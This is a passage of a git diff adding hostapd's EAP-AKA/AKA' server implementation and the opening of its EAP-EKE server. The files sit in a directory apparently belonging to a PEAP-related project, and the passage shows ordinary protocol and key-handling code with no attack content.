eap_sim_msg_init(EAP_CODE_REQUEST, id, data->eap_method, + EAP_AKA_SUBTYPE_CHALLENGE); + wpa_printf(MSG_DEBUG, " AT_RAND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RAND, 0, data->rand, EAP_AKA_RAND_LEN); + wpa_printf(MSG_DEBUG, " AT_AUTN"); + eap_sim_msg_add(msg, EAP_SIM_AT_AUTN, 0, data->autn, EAP_AKA_AUTN_LEN); + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + if (data->kdf) { + /* Add the selected KDF into the beginning */ + wpa_printf(MSG_DEBUG, " AT_KDF"); + eap_sim_msg_add(msg, EAP_SIM_AT_KDF, data->kdf, + NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_KDF"); + eap_sim_msg_add(msg, EAP_SIM_AT_KDF, EAP_AKA_PRIME_KDF, + NULL, 0); + wpa_printf(MSG_DEBUG, " AT_KDF_INPUT"); + eap_sim_msg_add(msg, EAP_SIM_AT_KDF_INPUT, + data->network_name_len, + data->network_name, data->network_name_len); + } + + if (eap_aka_build_encr(sm, data, msg, 0, NULL)) { + eap_sim_msg_free(msg); + return NULL; + } + + eap_aka_add_checkcode(data, msg); + + if (sm->eap_sim_aka_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + +#ifdef EAP_SERVER_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA) { + u16 flags = 0; + int i; + int aka_prime_preferred = 0; + + i = 0; + while (sm->user && i < EAP_MAX_METHODS && + (sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_NONE)) { + if (sm->user->methods[i].vendor == EAP_VENDOR_IETF) { + if (sm->user->methods[i].method == + EAP_TYPE_AKA) + break; + if (sm->user->methods[i].method == + EAP_TYPE_AKA_PRIME) { + aka_prime_preferred = 1; + break; + } + } + i++; + } + + if (aka_prime_preferred) + flags |= EAP_AKA_BIDDING_FLAG_D; + eap_sim_msg_add(msg, EAP_SIM_AT_BIDDING, flags, NULL, 0); + } +#endif /* EAP_SERVER_AKA_PRIME */ + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, NULL, 0); +} + + +static struct wpabuf * eap_aka_build_reauth(struct eap_sm *sm, + struct eap_aka_data *data, u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Generating Re-authentication"); + + if (random_get_bytes(data->nonce_s, EAP_SIM_NONCE_S_LEN)) + return NULL; + wpa_hexdump_key(MSG_MSGDUMP, "EAP-AKA: NONCE_S", + data->nonce_s, EAP_SIM_NONCE_S_LEN); + + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + eap_aka_prime_derive_keys_reauth(data->k_re, data->counter, + sm->identity, + sm->identity_len, + data->nonce_s, + data->msk, data->emsk); + } else { + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, + data->msk, data->emsk); + eap_sim_derive_keys_reauth(data->counter, sm->identity, + sm->identity_len, data->nonce_s, + data->mk, data->msk, data->emsk); + } + + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, data->eap_method, + EAP_AKA_SUBTYPE_REAUTHENTICATION); + + if (eap_aka_build_encr(sm, data, msg, data->counter, data->nonce_s)) { + eap_sim_msg_free(msg); + return NULL; + } + + eap_aka_add_checkcode(data, msg); + + if (sm->eap_sim_aka_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, NULL, 0); +} + + +static struct wpabuf * eap_aka_build_notification(struct eap_sm *sm, + struct eap_aka_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Generating Notification"); + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, data->eap_method, + EAP_AKA_SUBTYPE_NOTIFICATION); + wpa_printf(MSG_DEBUG, " AT_NOTIFICATION (%d)", data->notification); + eap_sim_msg_add(msg, EAP_SIM_AT_NOTIFICATION, data->notification, + NULL, 0); + if (data->use_result_ind) { + if (data->reauth) { + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, + EAP_SIM_AT_ENCR_DATA); + wpa_printf(MSG_DEBUG, " *AT_COUNTER (%u)", + data->counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, data->counter, + NULL, 0); + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, + EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to " + "encrypt AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + } + + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + } + return eap_sim_msg_finish(msg, data->k_aut, NULL, 0); +} + + +static struct wpabuf * eap_aka_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_aka_data *data = priv; + + data->auts_reported = 0; + switch (data->state) { + case IDENTITY: + return eap_aka_build_identity(sm, data, id); + case CHALLENGE: + return eap_aka_build_challenge(sm, data, id); + case REAUTH: + return eap_aka_build_reauth(sm, data, id); + case NOTIFICATION: + return eap_aka_build_notification(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown state %d in " + "buildReq", data->state); + break; + } + return NULL; +} + + +static Boolean eap_aka_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_aka_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, data->eap_method, respData, + &len); + if (pos == NULL || len < 3) { + wpa_printf(MSG_INFO, "EAP-AKA: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static Boolean eap_aka_subtype_ok(struct eap_aka_data *data, u8 subtype) +{ + if (subtype == EAP_AKA_SUBTYPE_CLIENT_ERROR || + subtype == EAP_AKA_SUBTYPE_AUTHENTICATION_REJECT) + return FALSE; + + switch (data->state) { + case IDENTITY: + if (subtype != EAP_AKA_SUBTYPE_IDENTITY) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case CHALLENGE: + if (subtype != EAP_AKA_SUBTYPE_CHALLENGE && + subtype != EAP_AKA_SUBTYPE_SYNCHRONIZATION_FAILURE) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case REAUTH: + if (subtype != EAP_AKA_SUBTYPE_REAUTHENTICATION) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + case NOTIFICATION: + if (subtype != EAP_AKA_SUBTYPE_NOTIFICATION) { + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected response " + "subtype %d", subtype); + return TRUE; + } + break; + default: + wpa_printf(MSG_INFO, "EAP-AKA: Unexpected state (%d) for " + "processing a response", data->state); + return TRUE; + } + + return FALSE; +} + + +static void eap_aka_determine_identity(struct eap_sm *sm, + struct eap_aka_data *data) +{ + char *username; + + wpa_hexdump_ascii(MSG_DEBUG, "EAP-AKA: Identity", + sm->identity, sm->identity_len); + + username = sim_get_username(sm->identity, sm->identity_len); + if (username == NULL) { + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + if (eap_aka_check_identity_reauth(sm, data, username) > 0) { + os_free(username); + return; + } + + if (((data->eap_method == EAP_TYPE_AKA_PRIME && + username[0] == EAP_AKA_PRIME_REAUTH_ID_PREFIX) || + (data->eap_method == EAP_TYPE_AKA && + username[0] == EAP_AKA_REAUTH_ID_PREFIX)) && + data->identity_round == 1) { + /* Remain in IDENTITY state for another round to request full + * auth identity since we did not recognize reauth id */ + os_free(username); + return; + } + + if ((data->eap_method == EAP_TYPE_AKA_PRIME && + username[0] == EAP_AKA_PRIME_PSEUDONYM_PREFIX) || + (data->eap_method == EAP_TYPE_AKA && + username[0] == EAP_AKA_PSEUDONYM_PREFIX)) { + const char *permanent; + wpa_printf(MSG_DEBUG, "EAP-AKA: Pseudonym username '%s'", + username); + permanent = eap_sim_db_get_permanent( + sm->eap_sim_db_priv, username); + os_free(username); + if (permanent == NULL) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown pseudonym " + "identity - request permanent identity"); + /* Remain in IDENTITY state for another round */ + return; + } + os_strlcpy(data->permanent, permanent, + sizeof(data->permanent)); + } else if ((data->eap_method == EAP_TYPE_AKA_PRIME && + username[0] == EAP_AKA_PRIME_PERMANENT_PREFIX) || + (data->eap_method == EAP_TYPE_AKA && + username[0] == EAP_AKA_PERMANENT_PREFIX)) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Permanent username '%s'", + username); + os_strlcpy(data->permanent, username, sizeof(data->permanent)); + os_free(username); + } else { + wpa_printf(MSG_DEBUG, "EAP-AKA: Unrecognized username '%s'", + username); + os_free(username); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + eap_aka_fullauth(sm, data); +} + + +static void eap_aka_fullauth(struct eap_sm *sm, struct eap_aka_data *data) +{ + size_t identity_len; + int res; + + res = eap_sim_db_get_aka_auth(sm->eap_sim_db_priv, data->permanent, + data->rand, data->autn, data->ik, + data->ck, data->res, &data->res_len, sm); + if (res == EAP_SIM_DB_PENDING) { + wpa_printf(MSG_DEBUG, "EAP-AKA: AKA authentication data " + "not yet available - pending request"); + sm->method_pending = METHOD_PENDING_WAIT; + return; + } + +#ifdef EAP_SERVER_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + /* Note: AUTN = (SQN ^ AK) || AMF || MAC which gives us the + * needed 6-octet SQN ^AK for CK',IK' derivation */ + eap_aka_prime_derive_ck_ik_prime(data->ck, data->ik, + data->autn, + data->network_name, + data->network_name_len); + } +#endif /* EAP_SERVER_AKA_PRIME */ + + data->reauth = NULL; + data->counter = 0; /* reset re-auth counter since this is full auth */ + + if (res != 0) { + wpa_printf(MSG_INFO, "EAP-AKA: Failed to get AKA " + "authentication data for the peer"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP-AKA: AKA authentication data " + "available - abort pending wait"); + sm->method_pending = METHOD_PENDING_NONE; + } + + identity_len = sm->identity_len; + while (identity_len > 0 && sm->identity[identity_len - 1] == '\0') { + wpa_printf(MSG_DEBUG, "EAP-AKA: Workaround - drop last null " + "character from identity"); + identity_len--; + } + wpa_hexdump_ascii(MSG_DEBUG, "EAP-AKA: Identity for MK derivation", + sm->identity, identity_len); + + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + eap_aka_prime_derive_keys(sm->identity, identity_len, data->ik, + data->ck, data->k_encr, data->k_aut, + data->k_re, data->msk, data->emsk); + } else { + eap_aka_derive_mk(sm->identity, identity_len, data->ik, + data->ck, data->mk); + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, + data->msk, data->emsk); + } + + eap_aka_state(data, CHALLENGE); +} + + +static void eap_aka_process_identity(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + u8 *new_identity; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Processing Identity"); + + if (attr->mac || attr->iv || attr->encr_data) { + wpa_printf(MSG_WARNING, "EAP-AKA: Unexpected attribute " + "received in EAP-Response/AKA-Identity"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + /* + * We always request identity with AKA/Identity, so the peer is + * required to have replied with one. + */ + if (!attr->identity || attr->identity_len == 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Peer did not provide any " + "identity"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + new_identity = os_malloc(attr->identity_len); + if (new_identity == NULL) { + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + os_free(sm->identity); + sm->identity = new_identity; + os_memcpy(sm->identity, attr->identity, attr->identity_len); + sm->identity_len = attr->identity_len; + + eap_aka_determine_identity(sm, data); + if (eap_get_id(respData) == data->pending_id) { + data->pending_id = -1; + eap_aka_add_id_msg(data, respData); + } +} + + +static int eap_aka_verify_mac(struct eap_aka_data *data, + const struct wpabuf *req, + const u8 *mac, const u8 *extra, + size_t extra_len) +{ + if (data->eap_method == EAP_TYPE_AKA_PRIME) + return eap_sim_verify_mac_sha256(data->k_aut, req, mac, extra, + extra_len); + return eap_sim_verify_mac(data->k_aut, req, mac, extra, extra_len); +} + + +static void eap_aka_process_challenge(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: Processing Challenge"); + +#ifdef EAP_SERVER_AKA_PRIME +#if 0 + /* KDF negotiation; to be enabled only after more than one KDF is + * supported */ + if (data->eap_method == EAP_TYPE_AKA_PRIME && + attr->kdf_count == 1 && attr->mac == NULL) { + if (attr->kdf[0] != EAP_AKA_PRIME_KDF) { + wpa_printf(MSG_WARNING, "EAP-AKA': Peer selected " + "unknown KDF"); + data->notification = + EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + data->kdf = attr->kdf[0]; + + /* Allow negotiation to continue with the selected KDF by + * sending another Challenge message */ + wpa_printf(MSG_DEBUG, "EAP-AKA': KDF %d selected", data->kdf); + return; + } +#endif +#endif /* EAP_SERVER_AKA_PRIME */ + + if (attr->checkcode && + eap_aka_verify_checkcode(data, attr->checkcode, + attr->checkcode_len)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Invalid AT_CHECKCODE in the " + "message"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + if (attr->mac == NULL || + eap_aka_verify_mac(data, respData, attr->mac, NULL, 0)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Challenge message " + "did not include valid AT_MAC"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + /* + * AT_RES is padded, so verify that there is enough room for RES and + * that the RES length in bits matches with the expected RES. + */ + if (attr->res == NULL || attr->res_len < data->res_len || + attr->res_len_bits != data->res_len * 8 || + os_memcmp(attr->res, data->res, data->res_len) != 0) { + wpa_printf(MSG_WARNING, "EAP-AKA: Challenge message did not " + "include valid AT_RES (attr len=%lu, res len=%lu " + "bits, expected %lu bits)", + (unsigned long) attr->res_len, + (unsigned long) attr->res_len_bits, + (unsigned long) data->res_len * 8); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-AKA: Challenge response includes the " + "correct AT_MAC"); + if (sm->eap_sim_aka_result_ind && attr->result_ind) { + data->use_result_ind = 1; + data->notification = EAP_SIM_SUCCESS; + eap_aka_state(data, NOTIFICATION); + } else + eap_aka_state(data, SUCCESS); + + if (data->next_pseudonym) { + eap_sim_db_add_pseudonym(sm->eap_sim_db_priv, data->permanent, + data->next_pseudonym); + data->next_pseudonym = NULL; + } + if (data->next_reauth_id) { + if (data->eap_method == EAP_TYPE_AKA_PRIME) { +#ifdef EAP_SERVER_AKA_PRIME + eap_sim_db_add_reauth_prime(sm->eap_sim_db_priv, + data->permanent, + data->next_reauth_id, + data->counter + 1, + data->k_encr, data->k_aut, + data->k_re); +#endif /* EAP_SERVER_AKA_PRIME */ + } else { + eap_sim_db_add_reauth(sm->eap_sim_db_priv, + data->permanent, + data->next_reauth_id, + data->counter + 1, + data->mk); + } + data->next_reauth_id = NULL; + } +} + + +static void eap_aka_process_sync_failure(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: Processing Synchronization-Failure"); + + if (attr->auts == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Synchronization-Failure " + "message did not include valid AT_AUTS"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + /* Avoid re-reporting AUTS when processing pending EAP packet by + * maintaining a local flag stating whether this AUTS has already been + * reported. */ + if (!data->auts_reported && + eap_sim_db_resynchronize(sm->eap_sim_db_priv, data->permanent, + attr->auts, data->rand)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Resynchronization failed"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + data->auts_reported = 1; + + /* Remain in CHALLENGE state to re-try after resynchronization */ + eap_aka_fullauth(sm, data); +} + + +static void eap_aka_process_reauth(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted = NULL; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Processing Reauthentication"); + + if (attr->mac == NULL || + eap_aka_verify_mac(data, respData, attr->mac, data->nonce_s, + EAP_SIM_NONCE_S_LEN)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Re-authentication message " + "did not include valid AT_MAC"); + goto fail; + } + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Reauthentication " + "message did not include encrypted data"); + goto fail; + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to parse encrypted " + "data from reauthentication message"); + goto fail; + } + + if (eattr.counter != data->counter) { + wpa_printf(MSG_WARNING, "EAP-AKA: Re-authentication message " + "used incorrect counter %u, expected %u", + eattr.counter, data->counter); + goto fail; + } + os_free(decrypted); + decrypted = NULL; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Re-authentication response includes " + "the correct AT_MAC"); + + if (eattr.counter_too_small) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Re-authentication response " + "included AT_COUNTER_TOO_SMALL - starting full " + "authentication"); + eap_aka_fullauth(sm, data); + return; + } + + if (sm->eap_sim_aka_result_ind && attr->result_ind) { + data->use_result_ind = 1; + data->notification = EAP_SIM_SUCCESS; + eap_aka_state(data, NOTIFICATION); + } else + eap_aka_state(data, SUCCESS); + + if (data->next_reauth_id) { + if (data->eap_method == EAP_TYPE_AKA_PRIME) { +#ifdef EAP_SERVER_AKA_PRIME + eap_sim_db_add_reauth_prime(sm->eap_sim_db_priv, + data->permanent, + data->next_reauth_id, + data->counter + 1, + data->k_encr, data->k_aut, + data->k_re); +#endif /* EAP_SERVER_AKA_PRIME */ + } else { + eap_sim_db_add_reauth(sm->eap_sim_db_priv, + data->permanent, + data->next_reauth_id, + data->counter + 1, + data->mk); + } + data->next_reauth_id = NULL; + } else { + eap_sim_db_remove_reauth(sm->eap_sim_db_priv, data->reauth); + data->reauth = NULL; + } + + return; + +fail: + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + eap_sim_db_remove_reauth(sm->eap_sim_db_priv, data->reauth); + data->reauth = NULL; + os_free(decrypted); +} + + +static void eap_aka_process_client_error(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: Client reported error %d", + attr->client_error_code); + if (data->notification == EAP_SIM_SUCCESS && data->use_result_ind) + eap_aka_state(data, SUCCESS); + else + eap_aka_state(data, FAILURE); +} + + +static void eap_aka_process_authentication_reject( + struct eap_sm *sm, struct eap_aka_data *data, + struct wpabuf *respData, struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: Client rejected authentication"); + eap_aka_state(data, FAILURE); +} + + +static void eap_aka_process_notification(struct eap_sm *sm, + struct eap_aka_data *data, + struct wpabuf *respData, + struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: Client replied to notification"); + if (data->notification == EAP_SIM_SUCCESS && data->use_result_ind) + eap_aka_state(data, SUCCESS); + else + eap_aka_state(data, FAILURE); +} + + +static void eap_aka_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_aka_data *data = priv; + const u8 *pos, *end; + u8 subtype; + size_t len; + struct eap_sim_attrs attr; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, data->eap_method, respData, + &len); + if (pos == NULL || len < 3) + return; + + end = pos + len; + subtype = *pos; + pos += 3; + + if (eap_aka_subtype_ok(data, subtype)) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Unrecognized or unexpected " + "EAP-AKA Subtype in EAP Response"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + if (eap_sim_parse_attr(pos, end, &attr, + data->eap_method == EAP_TYPE_AKA_PRIME ? 2 : 1, + 0)) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Failed to parse attributes"); + data->notification = EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_aka_state(data, NOTIFICATION); + return; + } + + if (subtype == EAP_AKA_SUBTYPE_CLIENT_ERROR) { + eap_aka_process_client_error(sm, data, respData, &attr); + return; + } + + if (subtype == EAP_AKA_SUBTYPE_AUTHENTICATION_REJECT) { + eap_aka_process_authentication_reject(sm, data, respData, + &attr); + return; + } + + switch (data->state) { + case IDENTITY: + eap_aka_process_identity(sm, data, respData, &attr); + break; + case CHALLENGE: + if (subtype == EAP_AKA_SUBTYPE_SYNCHRONIZATION_FAILURE) { + eap_aka_process_sync_failure(sm, data, respData, + &attr); + } else { + eap_aka_process_challenge(sm, data, respData, &attr); + } + break; + case REAUTH: + eap_aka_process_reauth(sm, data, respData, &attr); + break; + case NOTIFICATION: + eap_aka_process_notification(sm, data, respData, &attr); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown state %d in " + "process", data->state); + break; + } +} + + +static Boolean eap_aka_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_aka_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_aka_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_SIM_KEYING_DATA_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_SIM_KEYING_DATA_LEN); + *len = EAP_SIM_KEYING_DATA_LEN; + return key; +} + + +static u8 * eap_aka_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_aka_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + return key; +} + + +static Boolean eap_aka_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_aka_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_AKA, "AKA"); + if (eap == NULL) + return -1; + + eap->init = eap_aka_init; + eap->reset = eap_aka_reset; + eap->buildReq = eap_aka_buildReq; + eap->check = eap_aka_check; + eap->process = eap_aka_process; + eap->isDone = eap_aka_isDone; + eap->getKey = eap_aka_getKey; + eap->isSuccess = eap_aka_isSuccess; + eap->get_emsk = eap_aka_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} + + +#ifdef EAP_SERVER_AKA_PRIME +int eap_server_aka_prime_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_AKA_PRIME, + "AKA'"); + if (eap == NULL) + return -1; + + eap->init = eap_aka_prime_init; + eap->reset = eap_aka_reset; + eap->buildReq = eap_aka_buildReq; + eap->check = eap_aka_check; + eap->process = eap_aka_process; + eap->isDone = eap_aka_isDone; + eap->getKey = eap_aka_getKey; + eap->isSuccess = eap_aka_isSuccess; + eap->get_emsk = eap_aka_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + + return ret; +} +#endif /* EAP_SERVER_AKA_PRIME */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_eke.c b/peapwn/mods/hostap/src/eap_server/eap_server_eke.c new file mode 100644 index 000000000..b19a321af --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_eke.c @@ -0,0 +1,793 @@ +/* + * hostapd / EAP-EKE (RFC 6124) server + * Copyright (c) 2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_eke_common.h" + + +struct eap_eke_data { + enum { + IDENTITY, COMMIT, CONFIRM, FAILURE_REPORT, SUCCESS, FAILURE + } state; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 *peerid; + size_t peerid_len; + u8 peerid_type; + u8 serverid_type; + u8 dh_priv[EAP_EKE_MAX_DH_LEN]; + u8 key[EAP_EKE_MAX_KEY_LEN]; + struct eap_eke_session sess; + u8 nonce_p[EAP_EKE_MAX_NONCE_LEN]; + u8 nonce_s[EAP_EKE_MAX_NONCE_LEN]; + struct wpabuf *msgs; + int phase2; + u32 failure_code; +}; + + +static const char * eap_eke_state_txt(int state) +{ + switch (state) { + case IDENTITY: + return "IDENTITY"; + case COMMIT: + return "COMMIT"; + case CONFIRM: + return "CONFIRM"; + case FAILURE_REPORT: + return "FAILURE_REPORT"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_eke_state(struct eap_eke_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-EKE: %s -> %s", + eap_eke_state_txt(data->state), + eap_eke_state_txt(state)); + data->state = state; +} + + +static void eap_eke_fail(struct eap_eke_data *data, u32 code) +{ + wpa_printf(MSG_DEBUG, "EAP-EKE: Failure - code 0x%x", code); + data->failure_code = code; + eap_eke_state(data, FAILURE_REPORT); +} + + +static void * eap_eke_init(struct eap_sm *sm) +{ + struct eap_eke_data *data; + size_t i; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + eap_eke_state(data, IDENTITY); + + data->serverid_type = EAP_EKE_ID_OPAQUE; + for (i = 0; i < sm->server_id_len; i++) { + if (sm->server_id[i] == '.' && + data->serverid_type == EAP_EKE_ID_OPAQUE) + data->serverid_type = EAP_EKE_ID_FQDN; + if (sm->server_id[i] == '@') + data->serverid_type = EAP_EKE_ID_NAI; + } + + data->phase2 = sm->init_phase2; + + return data; +} + + +static void eap_eke_reset(struct eap_sm *sm, void *priv) +{ + struct eap_eke_data *data = priv; + eap_eke_session_clean(&data->sess); + os_free(data->peerid); + wpabuf_free(data->msgs); + os_free(data); +} + + +static struct wpabuf * eap_eke_build_msg(struct eap_eke_data *data, + u8 id, size_t length, u8 eke_exch) +{ + struct wpabuf *msg; + size_t plen; + + plen = 1 + length; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_EKE, plen, + EAP_CODE_REQUEST, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-EKE: Failed to allocate memory"); + return NULL; + } + + wpabuf_put_u8(msg, eke_exch); + + return msg; +} + + +static int supported_proposal(const u8 *pos) +{ + if (pos[0] == EAP_EKE_DHGROUP_EKE_16 && + pos[1] == EAP_EKE_ENCR_AES128_CBC && + pos[2] == EAP_EKE_PRF_HMAC_SHA2_256 && + pos[3] == EAP_EKE_MAC_HMAC_SHA2_256) + return 1; + + if (pos[0] == EAP_EKE_DHGROUP_EKE_15 && + pos[1] == EAP_EKE_ENCR_AES128_CBC && + pos[2] == EAP_EKE_PRF_HMAC_SHA2_256 && + pos[3] == EAP_EKE_MAC_HMAC_SHA2_256) + return 1; + + if (pos[0] == EAP_EKE_DHGROUP_EKE_14 && + pos[1] == EAP_EKE_ENCR_AES128_CBC && + pos[2] == EAP_EKE_PRF_HMAC_SHA2_256 && + pos[3] == EAP_EKE_MAC_HMAC_SHA2_256) + return 1; + + if (pos[0] == EAP_EKE_DHGROUP_EKE_14 && + pos[1] == EAP_EKE_ENCR_AES128_CBC && + pos[2] == EAP_EKE_PRF_HMAC_SHA1 && + pos[3] == EAP_EKE_MAC_HMAC_SHA1) + return 1; + + return 0; +} + + +static struct wpabuf * eap_eke_build_failure(struct eap_eke_data *data, u8 id) +{ + struct wpabuf *msg; + + 